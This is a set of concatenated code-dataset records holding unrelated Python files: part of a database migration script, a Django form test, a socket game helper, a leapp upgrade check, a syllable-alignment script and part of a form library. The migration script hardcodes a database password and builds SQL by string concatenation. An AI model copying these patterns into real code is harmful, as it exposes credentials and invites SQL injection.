None:\n for id in result:\n cur.execute(\"update datasource set datasourcetype = 'GITHUB' where id=\" + str(id[0]))\n except Exception as e:\n print(\"Exception occurred while modify datasource data of GIT to GITHUB : \", e)\n raise e\n\n\ndef modifyGithub(hosturl, url):\n try:\n cur = platform_conn.cursor()\n cur.execute(\"select id,config from datasource where datasourcetype = 'GITHUB';\")\n result = cur.fetchall()\n if result != None:\n for data in result:\n configData = json.loads(data[1])\n updateUsername = \" \"\n if 'username' in configData:\n updateUsername = configData['username']\n jdata = {\"hostUrl\": hosturl, \"url\": url, \"username\": updateUsername, \"token\": configData['token']}\n updatedConfig = \"'\" + str(json.dumps(jdata)) + \"'\"\n print(\"GITHUB Datasource Json data of Id: \" + str(data[0]) + \" :\" + updatedConfig)\n cur.execute('update datasource SET config =' + updatedConfig + ' where id=' + str(data[0]))\n except Exception as e:\n print(\"Exception occurred while modify datasource of tpe GITHUB: \", e)\n raise e\n\n\ndef migrate_policy_audit(policy_audits):\n try:\n cur = audit_conn.cursor()\n for policy_audit in policy_audits:\n audit = {\"action\": policy_audit[0],\n \"application\": policy_audit[1],\n \"description\": policy_audit[2],\n \"executionId\": policy_audit[3],\n \"stage\": policy_audit[4],\n \"pipeline\": policy_audit[5],\n \"type\": policy_audit[6],\n \"name\": policy_audit[7],\n \"result\": policy_audit[8],\n \"user\": policy_audit[9]\n }\n\n event_type = \"POLICY_AUDIT\"\n if audit['type'] is not None and audit['type'] == \"EVAL_RUNTIME\":\n event_type = \"POLICY_GATE_AUDIT\"\n\n audit_data = {\n \"eventType\": event_type,\n \"eventId\": str(uuid.uuid4()),\n \"auditData\": audit\n }\n opsmxtime = str(policy_audit[10])\n print(\"Policy data inserting into DB: \" + str(audit_data))\n data = opsmxtime, opsmxtime, json.dumps(audit_data), audit_data['eventId'], 'OES'\n cur.execute(\n \"INSERT INTO audit_events (created_at, updated_at, data, event_id, source) VALUES (%s, %s, %s, %s, %s)\",\n data)\n\n except Exception as e:\n print(\"Exception occurred while migrating policy audit : \", e)\n raise e\n\n\ndef fetch_policy_audit():\n try:\n cur = oesdb_conn.cursor()\n cur.execute(\n \"select action, application, description, execution_id, gate, pipeline, policy_event, policy_name, result, user_id,created_date from policy_audit\")\n return cur.fetchall()\n except Exception as e:\n print(\"Exception occurred while fetching policy audit : \", e)\n raise e\n\n\nif __name__ == '__main__':\n n = len(sys.argv)\n if n != 13:\n print(\n 'Please pass valid 11 arguments visibilitydb '\n ' (spinnaker gate url) (configured spinnaker active session Id)')\n\n visibility_db = 'visibilitydb'\n visibility_host = sys.argv[2]\n platform_db = sys.argv[3]\n platform_host = sys.argv[4]\n opsmx_db = sys.argv[5]\n opsmx_host = sys.argv[6]\n oes_db = sys.argv[7]\n oes_host = sys.argv[8]\n audit_db = sys.argv[9]\n audit_host = sys.argv[10]\n port = sys.argv[11]\n url = sys.argv[12]\n session_id = sys.argv[13]\n\n print(\"Using default host url ex:http://github.com\")\n\n # Establishing the visibility db connection\n visibility_conn = psycopg2.connect(database=visibility_db, user='postgres', password='networks123',\n host=visibility_host, port=port)\n print(\"Visibility database connection established successfully\")\n\n # Establishing the platform db connection\n platform_conn = psycopg2.connect(database=platform_db, user='postgres', password='networks123', host=platform_host,\n port=port)\n print('Opened platform database connection successfully')\n\n # Establishing the opsmx db connection\n opsmxdb_conn = psycopg2.connect(database=opsmx_db, user='postgres', password='networks123', host=opsmx_host,\n port=port)\n print(\"opsmx database connection established successfully\")\n\n # Establishing the opsmx db connection\n oesdb_conn = psycopg2.connect(database=oes_db, user='postgres', password='networks123',\n host=oes_host, port=port)\n print(\"oes(sapor) database connection established successfully\")\n\n # Establishing the audit db connection\n audit_conn = psycopg2.connect(database=audit_db, user='postgres', password='networks123',\n host=audit_host, port=port)\n print('audit database connection successfully')\n\n perform_migration()\n","sub_path":"scripts/oes-data-migration-scripts/migration_v3.9.x_to_v3.10.py","file_name":"migration_v3.9.x_to_v3.10.py","file_ext":"py","file_size_in_byte":23802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"290154899","text":"from questionnaire.forms.skip_question_form import SkipQuestionRuleForm\nfrom questionnaire.models import SkipQuestion, QuestionGroupOrder\nfrom questionnaire.tests.base_test import BaseTest\nfrom questionnaire.tests.factories.question_factory import QuestionFactory\nfrom questionnaire.tests.factories.question_group_factory import QuestionGroupFactory\nfrom questionnaire.tests.factories.question_option_factory import QuestionOptionFactory\nfrom questionnaire.tests.factories.sub_section_factory import SubSectionFactory\n\n\nclass SkipQuestionRuleFormTest(BaseTest):\n def setUp(self):\n self.root_question = QuestionFactory()\n self.question_to_skip = QuestionFactory()\n self.response = QuestionOptionFactory(question=self.root_question)\n self.subsection = SubSectionFactory()\n self.question_group = QuestionGroupFactory()\n\n self.root_question.question_group.add(self.question_group)\n self.question_to_skip.question_group.add(self.question_group)\n self.subsection.question_group.add(self.question_group)\n\n self.form_data = {'root_question': self.root_question.id,\n 'response': self.response.id,\n 'skip_question': self.question_to_skip.id,\n 'subsection': self.subsection.id}\n QuestionGroupOrder.objects.create(question=self.root_question, question_group=self.question_group, order=1)\n QuestionGroupOrder.objects.create(question=self.question_to_skip, question_group=self.question_group, order=2)\n\n\n def test_save(self):\n skip_question_form = SkipQuestionRuleForm(data=self.form_data)\n\n skip_question_form.save()\n skip_question_rules = SkipQuestion.objects.filter(**self.form_data)\n self.assertEqual(skip_question_rules.count(), 1)\n\n def test_invalid_if_skip_question_is_same_as_root_question(self):\n data = {'root_question': self.root_question.id,\n 'response': self.response.id,\n 'skip_question': self.root_question.id,\n 'subsection': self.subsection.id}\n\n skip_question_form = SkipQuestionRuleForm(data=data)\n self.assertFalse(skip_question_form.is_valid())\n\n def test_invalid_if_root_question_and_root_question_does_not_belong_to_subsection(self):\n root_question1 = QuestionFactory()\n question_another_group = QuestionGroupFactory()\n subsection = SubSectionFactory()\n\n root_question1.question_group.add(question_another_group)\n subsection.question_group.add(question_another_group)\n\n data = {'root_question': root_question1.id,\n 'response': self.response.id,\n 'skip_question': self.question_to_skip.id,\n 'subsection': self.subsection.id}\n skip_question_rule_form = SkipQuestionRuleForm(data=data)\n self.assertFalse(skip_question_rule_form.is_valid())\n\n def test_is_invalid_if_question_option_is_not_valid_option(self):\n invalid_option = QuestionOptionFactory()\n\n data = {'root_question': self.root_question.id,\n 'response': invalid_option.id,\n 'skip_question': self.question_to_skip.id,\n 'subsection': self.subsection.id}\n\n skip_question_rule_form = SkipQuestionRuleForm(data=data)\n self.assertFalse(skip_question_rule_form.is_valid())\n\n def test_is_invalid_if_root_question_order_is_greater_than_skip_question(self):\n root_question = QuestionFactory()\n self.question_group.question.add(root_question)\n\n QuestionGroupOrder.objects.create(question=root_question, question_group=self.question_group, order=3)\n\n data = {'root_question': root_question.id,\n 'response': self.response.id,\n 'skip_question': self.question_to_skip.id,\n 'subsection': self.subsection.id}\n\n skip_question_rule_form = SkipQuestionRuleForm(data=data)\n self.assertFalse(skip_question_rule_form.is_valid())","sub_path":"questionnaire/tests/forms/test_skip_question_form.py","file_name":"test_skip_question_form.py","file_ext":"py","file_size_in_byte":3994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"120039309","text":"import json\nimport socket\n\nfrom Player import Player\nfrom game_logic import *\n\n\ndef make_move(table, player, messages_buffer: bytes):\n write_socket_from_dict(player.socket, {\"table\": table, \"token\": 1, \"msg\": \"Your turn!\"})\n\n messages_buffer, response = read_socket_to_dict(player.socket, messages_buffer)\n while not assign_field(table, player.sign, response[\"move\"]):\n write_socket_from_dict(player.socket, {\"table\": table, \"token\": 1, \"msg\": \"Illegal move!\"})\n messages_buffer, response = read_socket_to_dict(player.socket, messages_buffer)\n\n write_socket_from_dict(player.socket, {\"table\": table, \"token\": 0, \"msg\": \"Wait for the other player.\"})\n\n\ndef wait_for_players(server_socket: socket, players_count: int, messages_buffer: bytes) -> list:\n players_dict = dict()\n\n while len(players_dict) < players_count:\n sck, addr = server_socket.accept()\n messages_buffer, msg_dict = read_socket_to_dict(sck, messages_buffer)\n\n while msg_dict[\"nickname\"] in players_dict.keys():\n write_socket_from_dict(sck, {\"msg\": \"This nickname is already taken!\", \"token\": 1})\n messages_buffer, msg_dict = read_socket_to_dict(sck, messages_buffer)\n\n players_dict[msg_dict[\"nickname\"]] = Player(msg_dict[\"nickname\"], sck, \"-1\")\n write_socket_from_dict(sck, {\"msg\": \"Waiting for the other player.\", \"token\": 0})\n\n players_list = list(players_dict.values())\n write_socket_from_dict(players_list[0].socket,\n {\"msg\": f\"{players_list[1].nickname} will be your opponent!\", \"token\": 0})\n write_socket_from_dict(players_list[1].socket,\n {\"msg\": f\"{players_list[0].nickname} will be your opponent!\", \"token\": 0})\n\n return players_list\n\n\ndef read_socket_to_dict(sck: socket, buffer: bytes) -> [bytes, dict]:\n if buffer == b'':\n buffer = sck.recv(1024)\n\n end_of_json = buffer.find(b'}') + 1\n msg = buffer[0:end_of_json]\n buffer = buffer[end_of_json:]\n return buffer, dict(json.loads(msg))\n\n\ndef write_socket_from_dict(sck: socket, data: dict):\n sck.send(json.dumps(data).encode('utf-8'))\n","sub_path":"multiplayer_logic.py","file_name":"multiplayer_logic.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"503737178","text":"from leapp import reporting\nfrom leapp.libraries.stdlib import api\nfrom leapp.models import InstalledDesktopsFacts, InstalledKdeAppsFacts\n\n\ndef check_kde_gnome():\n desktopFacts = next(api.consume(InstalledDesktopsFacts))\n kde_desktop_installed = desktopFacts.kde_installed\n gnome_desktop_installed = desktopFacts.gnome_installed\n\n # No desktop installed, we don't even care about apps as they are most likely not used or even installed\n if not kde_desktop_installed and not gnome_desktop_installed:\n api.current_logger().info(\"No desktop installed. Continuing with the upgrade.\")\n return\n\n if kde_desktop_installed:\n api.current_logger().info(\"KDE desktop is installed. Checking what we can do about it.\")\n if not gnome_desktop_installed:\n api.current_logger().error(\"Cannot perform the upgrade because there is\"\n \" no other desktop than KDE installed.\")\n # We cannot continue with the upgrade process\n reporting.create_report([\n reporting.Title(\"Cannot upgrade because there is no other desktop than KDE installed.\"),\n reporting.Summary(\"The KDE desktop environment is not available on RHEL 8. \"\n \"The KDE-related packages will be uninstalled during the upgrade and because \"\n \"the only currently installed desktop environment is KDE, there will be no \"\n \"other desktop environment after upgrade.\"),\n reporting.Severity(reporting.Severity.HIGH),\n reporting.Tags([\n reporting.Tags.UPGRADE_PROCESS\n ]),\n reporting.Flags([\n reporting.Flags.INHIBITOR\n ]),\n reporting.Remediation(\n hint=\"Install GNOME desktop to be able to upgrade.\",\n commands=[['yum', '-y', 'groupinstall', '\"Server with GUI\"']])\n ])\n return\n\n # Assume both GNOME and KDE are installed in this state\n api.current_logger().info(\"Upgrade can be performed, but KDE desktop will\"\n \" be removed in favor of GNOME\")\n reporting.create_report([\n reporting.Title(\"Upgrade can be performed, but KDE will be uninstalled.\"),\n reporting.Summary(\"The KDE desktop environment is not available on RHEL 8. KDE will be uninstalled \"\n \"in favor of GNOME during the upgrade.\"),\n reporting.Severity(reporting.Severity.MEDIUM),\n reporting.Tags([\n reporting.Tags.UPGRADE_PROCESS\n ])])\n api.current_logger().info(\"----------------------------------\")\n\n # At this state we just need to detect whether any KDE/Qt app is installed to inform user\n # that the application will be removed during the upgrade process. No matter if KDE is installed\n # or not.\n\n KDEAppsFacts = next(api.consume(InstalledKdeAppsFacts))\n if KDEAppsFacts.installed_apps:\n # upgrade can be performed, but user will loose KDE apps\n api.current_logger().info(\"Installed KDE/Qt apps detected.\")\n reporting.create_report([\n reporting.Title(\"Upgrade can be performed, but KDE/Qt apps will be uninstalled.\"),\n reporting.Summary(\"The KDE desktop environment is not available on RHEL 8. \"\n \"All the KDE/Qt apps will be removed during the upgrade, including but not limited \"\n \"to:\\n- {0}\".format(\"\\n- \".join(KDEAppsFacts.installed_apps))),\n reporting.Severity(reporting.Severity.MEDIUM),\n reporting.Tags([\n reporting.Tags.UPGRADE_PROCESS\n ])])\n else:\n api.current_logger().info(\"No KDE app in use detected.\")\n # upgrade can be performed\n","sub_path":"repos/system_upgrade/el7toel8/actors/checkkdegnome/libraries/library.py","file_name":"library.py","file_ext":"py","file_size_in_byte":3920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"59687846","text":"import os\nimport sys\nimport argparse\nimport util\nimport pyphen\nimport pickle\nimport dtw\nfrom psxDecoder import get_psxDecoder, get_audio_transcribe, get_whole_phoneme, cmuPhonemeDict\n\n_decoder = get_psxDecoder()\n_phone_dict = cmuPhonemeDict()\n\n\ndef load_mapDict():\n data_path = 'phDic.cfg'\n with open(data_path, \"rb\") as f:\n data = pickle.load(f)\n return data\n\n\ndef get_syllables(word):\n dic = pyphen.Pyphen(lang='en')\n res_array = dic.inserted(word)\n # print(res_array)\n return res_array\n\n\ndef find_element_in_list(ele, my_list):\n indices = [i for i, x in enumerate(my_list) if x == ele]\n return indices\n\n\ndef get_mapping_syllable(word):\n syllables = get_syllables(word)\n # all_phonemes = get_whole_phoneme(word)\n all_phonemes = _phone_dict.get_phonemes(word)\n print('syllable: {}'.format(syllables))\n\n cur_phoneme = all_phonemes[0]\n print('phoneme: {}'.format(cur_phoneme))\n\n phoneme_list = str(cur_phoneme).strip().split(' ')\n syllable_list = syllables.strip().split('-')\n if len(syllable_list) == 1:\n return [0], [phoneme_list], syllables\n # mapping\n mp_dict = load_mapDict()\n virt_phonemes = []\n for ch in word:\n virt_phonemes.append(mp_dict[ch][0])\n # print(virt_phonemes)\n dtw_path = dtw.get_DTW_path(phoneme_list, virt_phonemes)\n # print(dtw_path)\n\n res_indices = []\n word_length = len(word)\n prev_len = 0\n for i in range(len(syllable_list)):\n virt_ind = prev_len\n phoneme_ind = find_element_in_list(virt_ind, dtw_path[1])[0]\n syllable_ind = dtw_path[0][phoneme_ind]\n res_indices.append(syllable_ind)\n prev_len += len(syllable_list[i])\n res_phonemes = []\n for i, ind in enumerate(res_indices):\n if i == len(res_indices) - 1:\n res_phonemes.append([x for x in phoneme_list[ind:]])\n else:\n res_phonemes.append([x for x in phoneme_list[ind:res_indices[i+1]]])\n \"\"\"\n for syl in res_phonemes:\n print(' '.join([x for x in syl]), end=' - ')\n \"\"\"\n return res_indices, res_phonemes, syllables\n\n\ndef syllable_recognize(file_path, word):\n res_file = 'test_syllable_shan.txt'\n with open(res_file, 'at') as fp:\n fp.write('file name: {}\\n'.format(os.path.basename(file_path)))\n\n # \"\"\"\n align_result = util.get_mfa_aligning(file_path, word)\n syll_indices, syll_list, sylls = get_mapping_syllable(word)\n time_frames = []\n if len(align_result) > 0:\n fp.write('syllable: {}\\n'.format(sylls))\n for i, syll_ind in enumerate(syll_indices):\n if i < len(syll_indices) - 1:\n syl_rep = ' '.join([x for x in syll_list[i]])\n st_time = align_result[syll_ind][0]\n ed_time = align_result[syll_indices[i+1]-1][1]\n else:\n syl_rep = ' '.join([x for x in syll_list[-1]])\n st_time = align_result[syll_ind][0]\n ed_time = align_result[-1][1]\n time_frames.append([syl_rep, st_time, ed_time])\n fp.write('{}: [{}, {}]\\n'.format(syl_rep, st_time, ed_time))\n else:\n _, comp_align_result = get_audio_transcribe(_decoder, file_path)\n for seg in comp_align_result:\n align_result.append([seg[1], seg[2], seg[0]])\n\n fp.write('\\n')\n\n _, align_result2 = get_audio_transcribe(_decoder, file_path)\n print(align_result2)\n a = 0\n \"\"\"\n fp.write('phoneme aligning:\\n')\n for seg in align_result1:\n fp.write('\\t{}: [{:.2f}, {:.2f}]\\n'.format(seg[0], seg[1], seg[2]))\n fp.write('\\n')\n for seg in align_result2:\n fp.write('\\t{}: [{:.2f}, {:.2f}]\\n'.format(seg[0], seg[1], seg[2]))\n \n syllables = get_syllables(word)\n fp.write('syllable: {}\\n'.format(syllables))\n\n all_phonemes = get_whole_phoneme(word)\n for ind in range(len(all_phonemes)):\n fp.write('phoneme-{}: {}\\n'.format(ind + 1, ' '.join(x for x in all_phonemes[ind])))\n fp.write('\\n')\n # \"\"\"\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Running Aligner Inference\")\n parser.add_argument('--dir', default=None, help='Path to data directory which includes sample files')\n args = parser.parse_args()\n\n work_folder = args.dir\n if work_folder is not None:\n if not os.path.exists(work_folder):\n print(\"data path error!\")\n sys.exit(1)\n\n conv_folder = os.path.join(work_folder, 'conv_data')\n if not os.path.exists(conv_folder):\n os.mkdir(conv_folder)\n util.convert2wav_folder(work_folder, conv_folder)\n\n for f in os.listdir(conv_folder):\n print('\\nprocessing with {}'.format(f))\n file_path = os.path.join(conv_folder, f)\n # file name: speaker_word_revision\n word = f.split('-')[1].lower()\n syllable_recognize(file_path, word)\n # get_mapping_syllable(word)\n else:\n print(\"argument error\")\n sys.exit(1)\n","sub_path":"scoringAPI/scoring_engine/syllableRecognize.py","file_name":"syllableRecognize.py","file_ext":"py","file_size_in_byte":5134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"358386720","text":"from yota.renderers import JinjaRenderer\nfrom yota.processors import FlaskPostProcessor\nfrom yota.nodes import LeaderNode, Node\nfrom yota.validators import Check, Listener\nimport json\nimport copy\n\n\nclass TrackingMeta(type):\n \"\"\" This metaclass builds our Form classes. It generates the internal\n _node_list which preserves order of Nodes in your Form as declared. It also\n generates _validation_list for explicitly declared Check attributes in the\n Form \"\"\"\n\n def __init__(mcs, name, bases, dct):\n \"\"\" Process all of the attributes in the `Form` (or subclass)\n declaration and place them accordingly. This builds the internal\n _node_list and _validation_list and is responsible for preserving\n initial Node order. \"\"\"\n\n nodes = {}\n mcs._validation_list = []\n mcs._node_list = []\n mcs._event_lists = {}\n for name, attribute in dct.items():\n # These aren't ordered Nodes, ignore them\n if name is 'start' or name is 'close':\n try:\n attribute._attr_name = name\n except AttributeError:\n raise AttributeError(\"start/close attribute is special and\"\n \"should specify a Node to begin your form. Got type {0}\"\n \"instead\".format(type(name)))\n continue\n if isinstance(attribute, Node):\n attribute._attr_name = name\n nodes[attribute._create_counter] = attribute\n delattr(mcs, name)\n elif isinstance(attribute, Check):\n # if we've found a validation check\n attribute._attr_name = name\n mcs._validation_list.append(attribute)\n delattr(mcs, name)\n elif isinstance(attribute, Listener):\n # if we've found a validation check\n attribute._attr_name = name\n if attribute.type not in mcs._event_lists:\n mcs._event_lists[attribute.type] = []\n mcs._event_lists[attribute.type].append(attribute)\n delattr(mcs, name)\n else:\n # just assume that this is some kind of blueprint with\n # ducktyping\n try:\n for node in attribute._node_list:\n nodes[node._create_counter] = node\n except AttributeError:\n pass\n\n # merge in our events\n try:\n for key, lst in attribute._event_lists.items():\n if key in mcs._event_lists:\n mcs._event_lists[key].extend(lst)\n else:\n mcs._event_lists[key] = lst\n except AttributeError:\n pass\n\n # and validation\n try:\n mcs._validation_list.extend(attribute._validation_list)\n except AttributeError:\n pass\n\n # insert our nodes in sorted order by there initialization order, thus\n # preserving order\n for i, attribute in sorted(nodes.items()):\n mcs._node_list.append(attribute)\n\n_Form = TrackingMeta('_Form', (object, ), {})\nclass Form(_Form):\n \"\"\" This is the base class that all user defined forms should inherit from,\n and as such it is the main way to access functionality in Yota. It\n provides the core functionality involved with setting up and\n rendering the form.\n\n :param context: This is a context specifically for the special form open\n and form close nodes, canonically called start and close.\n\n :param g_context: This is a global context that will be passed to all nodes\n in rendering thorugh their rendering context as 'g' variable.\n\n :param start_template: The template used when automatically\n injecting a start Node. See :attr:`yota.Form.auto_start_close` for\n more information.\n\n :param close_template: The template used when automatically\n injecting a close Node. See :attr:`yota.Form.auto_start_close` for\n more information.\n\n :param auto_start_close: Dictates whether or not start and close\n Nodes will be automatically appended/prepended to your form. Note\n that this must be set via __init__ or your class definition since it\n must be set before __init__ for the Form is run.\n\n :param hidden: A dictionary of hidden key/value pairs to be injected\n into the form. This is frequently used to pass dynamic form\n parameters into the validator.\n\n \"\"\"\n\n __metaclass__ = TrackingMeta\n _renderer = JinjaRenderer\n \"\"\" This is a class object that is used to perform the actual rendering\n steps, allowing different rendering engines to be swapped out. More about\n this in the section :class:`Renderer` \"\"\"\n _processor = FlaskPostProcessor\n \"\"\" This is a class that performs post processing on whatever is passed in\n as data during validation. The intended purpose of this was to write\n processors that translated submitted form data from the format of the web\n framework being used to a format that Yota expects. It also allows things\n like filtering stripping characters or encoding all data that enters a\n validator. \"\"\"\n _reserved_attr_names = ('context', 'hidden', 'g_context', 'start_template',\n 'close_template', 'auto_start_close', '_renderer',\n '_processor', 'name')\n name = None\n context = {}\n g_context = {}\n title = None\n auto_start_close = True\n start_template = 'form_open'\n close_template = 'form_close'\n render_success = False\n render_error = False\n type_class_map = {'error': 'alert alert-error',\n 'info': 'alert alert-info',\n 'success': 'alert alert-success',\n 'warn': 'alert alert-warn'}\n \"\"\" A mapping of error types to their respective class values. Used to\n render messages to the user from validation. Changing it to render messages\n differently could be performed as follows:\n\n .. code-block:: python\n\n class MyForm(yota.Form):\n first = EntryNode(title='First name', validators=Check(MinLengthValidator(5)))\n last = EntryNode(title='Last name', validators=MinLengthValidator(5)\n\n # Override the default type_class_map with our own\n type_class_map = {'error': 'alert alert-error my-special-class', # Add an additional class\n 'info': 'alert alert-info',\n 'success': 'alert alert-success',\n 'warn': 'alert alert-warn'}\n \"\"\"\n\n\n def __init__(self, **kwargs):\n # A bit of a hack to copy all our class attributes\n for class_attr in dir(self):\n if class_attr in kwargs:\n continue\n att = getattr(self, class_attr)\n # We want to copy all the nodes as well as the list, this is a\n # succinct way to do it\n if class_attr in ['_node_list', '_validation_list', '_event_lists']:\n setattr(self, class_attr, copy.deepcopy(att))\n # Private attributes are internal stuff..\n elif not class_attr.startswith('__'):\n # don't try to copy functions, it doesn't go well\n if not callable(att):\n setattr(self, class_attr, copy.copy(att))\n self.context[class_attr] = att\n\n # Set a default name for our Form\n if self.name is None:\n self.name = self.__class__.__name__\n\n # pass some attributes to start/close nodes\n self.context['name'] = self.name\n self.context['title'] = self.title\n\n # run our safety checks, set identifiers, and set local attributes\n for node in self._node_list:\n self._setup_node(node)\n\n # passes everything to our rendering context and updates params.\n self.context.update(kwargs)\n self.__dict__.update(kwargs)\n\n # Add our open and close form defaults\n if hasattr(self, 'start'):\n self._node_list.insert(0, self.start)\n else:\n if self.auto_start_close:\n self.insert(0, LeaderNode(template=self.start_template,\n _attr_name='start',\n **self.context))\n if hasattr(self, 'close'):\n self._node_list.append(self.close)\n else:\n if self.auto_start_close:\n self.insert(-1, LeaderNode(template=self.close_template,\n _attr_name='close',\n **self.context))\n\n # Add some useful global variables for templates\n default_globals = {'form_id': self.name}\n # Let our globals be overridden\n default_globals.update(self.g_context)\n self.g_context = default_globals\n\n # Initialize some general state variable\n self._last_valid = None\n self._last_raw_json = None\n\n def render(self):\n \"\"\" Runs the renderer to parse templates of nodes and generate the form\n HTML.\n\n :returns: A string containing the generated output.\n \"\"\"\n # process the errors before we render\n self._process_errors()\n\n return self._renderer().render(self._node_list, self.g_context)\n\n def add_listener(self, listener, type):\n \"\"\" Attaches a :class:`Listener` to an event type. These Listener will\n be executed when trigger event is called. \"\"\"\n if type not in self._event_lists:\n self._event_lists[type] = []\n self._event_lists[type].append(listener)\n\n def trigger_event(self, type):\n \"\"\" Runs all the associated :class:`Listener`'s for a specific event\n type. \"\"\"\n try:\n for event in self._event_lists[type]:\n event.resolve_attr_names(self)\n event()\n except KeyError:\n pass\n\n def _setup_node(self, node):\n \"\"\" An internal function performs some safety checks, sets attribute,\n and set_identifiers \"\"\"\n try:\n if type(node._attr_name) is not str:\n raise AttributeError\n except AttributeError as e:\n raise AttributeError('Dynamically inserted nodes must have a _attr_name'\n ' attribute as a string. Please add it. ')\n\n if hasattr(self, node._attr_name):\n raise AttributeError( 'Attribute name {0} overlaps with a Form '\n 'attribute. Please rename.'\n .format(node._attr_name))\n\n node.set_identifiers(self.name)\n setattr(self, node._attr_name, node)\n\n def _parse_shorthand_validator(self, node):\n \"\"\" Loops thorugh all the Nodes and checks for shorthand validators.\n After inserting their checks into the form obj they are removed from\n the node. This is because a validation may be called multiple times on\n a single form instance. \"\"\"\n if hasattr(node, 'validators') and node.validators:\n # Convert a single callable to an iterator for convenience\n if callable(node.validators):\n node.validators = (node.validators, )\n\n for validator in node.validators:\n # If they provided a check add it, otherwise make the check\n # for them\n if isinstance(validator, Check):\n # Just for extra flexibility, add the attr if they left it out\n if not validator.args and not validator.kwargs:\n validator.args.append(node._attr_name)\n self._validation_list.append(validator)\n else:\n # Assume only a single attr if not specified\n new_valid = Check(validator, node._attr_name)\n self._validation_list.append(new_valid)\n\n # remove the attribute so multiple calls doesn't break things\n delattr(node, 'validators')\n\n def _process_errors(self):\n for node in self._node_list:\n # process the node errors and inject special values\n for error in node.errors:\n # Try and retrieve the class values for the result type\n # and send along the required render value\n try:\n error['_type_class'] = self.type_class_map[error['type']]\n except KeyError:\n error['_type_class'] = self.type_class_map['error']\n\n def insert_validator(self, new_validators):\n \"\"\" Inserts a validator to the validator list.\n\n :param validator: The :class:`Check` to be inserted.\n :type validator: Check \"\"\"\n\n for validator in new_validators:\n # check to allow passing in just a check\n if not isinstance(validator, Check):\n raise TypeError('Can only insert type Check or derived classes')\n\n # append the validator to the list\n self._validation_list.append(validator)\n\n def insert(self, position, new_node_list):\n \"\"\" Inserts a :class:`Node` object or a list of objects at the\n specified position into the :attr:`Form._node_list` of the form.\n Index -1 is an alias for the end of the list. After insertion\n the :meth:`Node.set_identifiers` will be called to generate\n identification for the :class:`Node`. For this to function,\n :attr:`Form._attr_name` must be specified for the node prior to\n insertion. \"\"\"\n\n # check to allow passing in just a node\n if isinstance(new_node_list, Node):\n new_node_list = (new_node_list,)\n\n for i, new_node in enumerate(new_node_list):\n\n self._setup_node(new_node)\n\n if position == -1:\n self._node_list.append(new_node)\n else:\n self._node_list.insert(position + i, new_node)\n\n def insert_after(self, prev_attr_name, new_node_list):\n \"\"\" Runs through the internal node structure attempting to find\n a :class:`Node` object whos :attr:`Node._attr_name` is\n prev_attr_name and inserts the passed node after it. If\n `prev_attr_name` cannot be matched it will be inserted at the\n end. Internally calls :meth:`Form.insert` and has the same\n requirements of the :class:`Node`.\n\n :param prev_attr_name: The attribute name of the `Node` that you\n would like to insert after.\n :type prev_attr_name: string\n :param new_node_list: The :class:`Node` or list of Nodes to be\n inserted.\n :type new_node_list: Node or list of Nodes \"\"\"\n\n # check to allow passing in just a node\n if isinstance(new_node_list, Node):\n new_node_list = (new_node_list,)\n\n # Loop through our list of nodes to find where to insert\n for index, node in enumerate(self._node_list):\n # found!\n if node._attr_name == prev_attr_name:\n for i, new_node in enumerate(new_node_list):\n self._node_list.insert(index + i + 1, new_node)\n setattr(self, new_node._attr_name, new_node)\n new_node.set_identifiers(self.name)\n break\n else:\n # failover append if not found\n for new_node in new_node_list:\n self._node_list.append(new_node)\n\n def get_by_attr(self, name):\n \"\"\" Safe accessor for looking up a node by :attr:`Node._attr_name` \"\"\"\n try:\n attr = getattr(self, name)\n except AttributeError:\n pass\n else:\n if isinstance(attr, Node):\n return attr\n raise AttributeError('Form attribute {0} couldn\\'t be resolved to'\n ' a Node'.format(name))\n\n def success_header_generate(self):\n \"\"\" Please see the documentation for :meth:`Form.error_header_generate`\n as it covers this function as well as itself. \"\"\"\n pass\n\n def error_header_generate(self, errors, block):\n \"\"\" This function, along with success_header_generate allow you to give\n form wide information back to the user for both AJAJ validated forms\n and conventionally validated forms, although the mechanisms are\n slightly different. Both functions are run at the end of a successful\n or failed validation call in order to give more information for\n rendering.\n\n For passing information to AJAJ rendering, simply return a dictionary,\n or any Python object that can be serialized to JSON. This information\n gets passed back to the JavaScript callbacks of yota_activate, however\n each in slightly different ways. success_header_generate's information\n will get passed to the render_success callback, while\n error_header_generate will get sent as an error to the render_error\n callback under the context start.\n\n For passing information into a regular, non AJAJ context simply access\n the attribute manually similar to below.\n\n .. code-block:: python\n\n self.start.add_error(\n {'message': 'Please resolve the errors below to continue.'})\n\n This will provide a simple error message to your start Node. In\n practice these functions could also be used to trigger events and other\n interesting things, although that was not their intended function.\n\n :param errors: This will be a list of all other Nodes that have errors.\n :param block: Whether or not the form submission will be blocked.\n :type block: boolean\n\n .. note: By default this function does nothing.\n \"\"\"\n pass\n\n def data_by_attr(self):\n \"\"\" Returns a dictionary of currently stored :attr:`Node.data`\n attributes keyed by :attr:`Node._attr_name`. Used for returning data\n after its been processed by validators. \"\"\"\n\n ret = {}\n for node in self._node_list:\n ret[node._attr_name] = node.data\n return ret\n\n def data_by_name(self):\n \"\"\" Returns a dictionary of currently stored :attr:`Node.data`\n attributes keyed by :attr:`Node.name`. Used for returning data\n after its been processed by validators. \"\"\"\n\n ret = {}\n for node in self._node_list:\n ret[node.name] = node.data\n return ret\n\n def _gen_validate(self, data, piecewise=False):\n \"\"\" This is an internal utility function that does the grunt work of\n running validation logic for a :class:`Form`. It is called by the other\n primary validation methods. \"\"\"\n\n # Allows user to set a modular processor on incoming data\n data = self._processor().filter_post(data)\n\n\n # reset all error lists and data\n for node in self._node_list:\n node.errors = []\n node.data = ''\n node.resolve_data(data)\n # Pull out all our shorthand validators\n self._parse_shorthand_validator(node)\n\n # try to load our visited list of it's piecewise validation\n if '_visited_names' not in data and piecewise:\n raise AttributeError(\"No _visited_names present in data submission\"\n \". Data is required for piecewise validation\")\n elif piecewise:\n visited = json.loads(data['_visited_names'])\n\n # assume to be not blocking\n block = False\n # loop over our checks and run our validators\n for check in self._validation_list:\n check.resolve_attr_names(self)\n if piecewise is False or 